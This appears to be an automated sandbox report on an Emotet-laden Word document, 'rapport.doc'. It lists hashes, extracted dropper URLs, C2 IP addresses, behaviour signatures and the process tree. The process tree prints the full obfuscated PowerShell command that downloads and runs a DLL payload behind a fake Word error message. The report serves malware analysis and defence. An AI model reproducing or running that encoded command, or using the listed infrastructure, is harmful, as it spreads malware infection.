Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-01-2021 17:16

General

  • Target

    rapport.doc

  • Size

    166KB

  • MD5

    6a4bbc161aa3d0f563b6a49b814926bc

  • SHA1

    1d7c90764973fda22e9be17ddcb5ae8749f5b09b

  • SHA256

    44316f89bbd59090b3cd1967d663655d5eeba06c621b8cbf3cab7c73caa9b8b2

  • SHA512

    057365861482b075a5b6a0ca08c8d6e66f54969b593e867809df0a0abbe545180b8ba73ae5afd48b27443294a7d32bbd66b052ecd3c596a8aa757dd3de112031

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wpsapk.com/wp-admin/v/

exe.dropper

http://sofsuite.com/wp-includes/2jm3nIk/

exe.dropper

http://veterinariadrpopui.com/content/5f18Q/

exe.dropper

http://shop.elemenslide.com/wp-content/n/

exe.dropper

http://khanhhoahomnay.net/wordpress/CGMC/

exe.dropper

http://campusexpo.org/department-of-odhmmkd/95eXZY/

exe.dropper

https://gurztac.wtchevalier.com/wp-content/YzZ6YZ/

Extracted

Family

emotet

Botnet

Epoch1

C2

5.2.136.90:80

186.147.237.3:8080

138.197.99.250:8080

167.71.148.58:443

211.215.18.93:8080

187.162.248.237:80

1.226.84.243:8080

110.39.160.38:443

5.196.35.138:7080

59.148.253.194:8080

45.16.226.117:443

95.76.153.115:80

181.61.182.143:80

46.43.2.95:8080

188.135.15.49:80

81.215.230.173:443

45.4.32.50:80

81.214.253.80:443

94.176.234.118:443

212.71.237.140:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\rapport.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4760
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:3932
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:4208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAKwAnAC8AJwArACcAQAAnACsAKAAnAF0AYQAnACsAJwBuACcAKQArACcAdwAnACsAKAAnAFsAMwA6ACcAKwAnAC8ALwBzAGgAJwArACcAbwBwACcAKwAnAC4AJwApACsAJwBlAGwAJwArACcAZQAnACsAKAAnAG0AZQBuACcAKwAnAHMAbAAnACsAJwBpACcAKQArACgAJwBkACcAKwAnAGUALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtAGMAJwArACcAbwAnACsAKAAnAG4AJwArACcAdABlAG4AdAAnACkAKwAoACcALwAnACsAJwBuAC8AJwArACcAQABdAGEAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAvAC8AJwApACsAJwBrACcAKwAoACcAaAAnACsAJwBhAG4AJwApACsAKAAnAGgAJwArACcAaABvACcAKQArACgAJwBhAGgAbwAnACsAJwBtACcAKQArACgAJwBuAGEAeQAuAG4AZQAnACsAJwB0AC8AJwArACcAdwBvAHIAZABwACcAKQArACgAJwByAGUAJwArACcAcwAnACkAKwAoACcAcwAvACcAKwAnAEMAJwApACsAKAAnAEcATQBDAC8AQAAnACsAJwBdACcAKQArACcAYQBuACcAKwAnAHcAJwArACgAJwBbADMAOgAvACcAKwAnAC8AJwApACsAKAAnAGMAYQAnACsAJwBtACcAKQArACgAJwBwAHUAJwArACcAcwBlACcAKwAnAHgAcABvACcAKwAnAC4AbwByAGcALwBkAGUAJwApACsAJwBwACcAKwAoACcAYQByACcAKwAnAHQAbQBlAG4AJwApACsAJwB0ACcAKwAoACcALQAnACsAJwBvAGYALQBvAGQAaABtACcAKQArACgAJwBtAGsAZAAvADkANQBlAFgAJwArACcAWgAnACsAJwBZACcAKQArACgAJwAvAEAAXQBhAG4AdwBbACcAKwAnADMAcwA6AC8ALwBnACcAKwAnAHUAcgAnACsAJwB6AHQAYQAnACsAJwBjAC4AdwB0AGMAJwArACcAaABlACcAKQArACcAdgBhACcAKwAnAGwAJwArACcAaQBlACcAKwAnAHIAJwArACcALgBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AYwAnACkAKwAoACcAbwBuAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AWQB6ACcAKwAnAFoAJwApACsAKAAnADYAJwArACcAWQBaAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAnAF0AYQAnACsAKAAnAG4AdwAnACsAJwBbADMAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABYADQAMQBQACAAKwAgACQATwBsADkAbwBuAGsAaQAgACsAIAAkAEYAMgAxAEQAKQA7ACQATgAzADIARQA9ACgAKAAnAFUAOAAnACsAJwA4ACcAKQArACcATgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAMQA0ADUAcQBzAGwAIABpAG4AIAAkAFEAYwBlAGMAaAA0AGgAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwB0ACcAKQAgAHMAWQBzAFQAZQBtAC4ATgBlAHQALgBXAGUAQgBDAEwASQBlAE4AVAApAC4AIgBkAG8AYABXAE4AbABvAGEARABmAGAAaQBMAGUAIgAoACQASQAxADQANQBxAHMAbAAsACAAJABRADIAeQBnADkAZwBfACkAOwAkAEQAMAA4AFUAPQAoACgAJwBIACcAKwAnADQAOAAnACkAKwAnAEsAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFEAMgB5AGcAOQBnAF8AKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADAAMgA5ADkAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQAUQAyAHkAZwA5AGcAXwAsACgAKAAnAEMAbwAnACsAJwBuAHQAJwApACsAKAAnAHIAbwAnACsAJwBsAF8AJwApACsAKAAnAFIAJwArACcAdQBuACcAKQArACcARAAnACsAJwBMAEwAJwApAC4AIgB0AGAATwBzAHQAcgBpAGAATgBHACIAKAApADsAJABEADYANwBIAD0AKAAnAEsAMwAnACsAJwBfAEsAJwApADsAYgByAGUAYQBrADsAJABZADUANABFAD0AKAAnAEIAJwArACgAJwA3ADYAJwArACcASwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA3ADMAVgA9ACgAJwBRACcAKwAoACcANAAnACsAJwAyAEQAJwApACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll,Control_RunDLL
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2060
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll,Control_RunDLL
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:2296
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zkjfqhmzc\odjgrskh.agu",Control_RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:2768

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll
      MD5

      ea02fcfdd43a1a534e0fe7b063085678

      SHA1

      3c2c21cfac0b7d08d434369cf099988e61dae2fe

      SHA256

      370ec5a52e8b89ceb928a4367e97ab1d9fcb8e20f764552f352cddb0c087a675

      SHA512

      3dc79f2b9d0be1d22d6585e45a15acb41bf9c91e3fc41693c5e50b18340f0821acd39c298aa2cdab58180bb6e4d0aa27f40a59f35a8f3d6463de5000d8a0a9e3

    • \Users\Admin\Nspzvsg\Sj_dwgs\R31N.dll
      MD5

      ea02fcfdd43a1a534e0fe7b063085678

      SHA1

      3c2c21cfac0b7d08d434369cf099988e61dae2fe

      SHA256

      370ec5a52e8b89ceb928a4367e97ab1d9fcb8e20f764552f352cddb0c087a675

      SHA512

      3dc79f2b9d0be1d22d6585e45a15acb41bf9c91e3fc41693c5e50b18340f0821acd39c298aa2cdab58180bb6e4d0aa27f40a59f35a8f3d6463de5000d8a0a9e3

    • memory/2060-8-0x0000000000000000-mapping.dmp
    • memory/2296-10-0x0000000000000000-mapping.dmp
    • memory/2296-12-0x00000000030C0000-0x00000000030DF000-memory.dmp
      Filesize

      124KB

    • memory/2768-13-0x0000000000000000-mapping.dmp
    • memory/2768-14-0x0000000000AD0000-0x0000000000AEF000-memory.dmp
      Filesize

      124KB

    • memory/2816-5-0x00007FFAE2430000-0x00007FFAE2E1C000-memory.dmp
      Filesize

      9.9MB

    • memory/2816-6-0x00000125C3340000-0x00000125C3341000-memory.dmp
      Filesize

      4KB

    • memory/2816-7-0x00000125C3730000-0x00000125C3731000-memory.dmp
      Filesize

      4KB

    • memory/2816-4-0x0000000000000000-mapping.dmp
    • memory/4208-3-0x0000000000000000-mapping.dmp
    • memory/4760-2-0x00007FFAEA920000-0x00007FFAEAF57000-memory.dmp
      Filesize

      6.2MB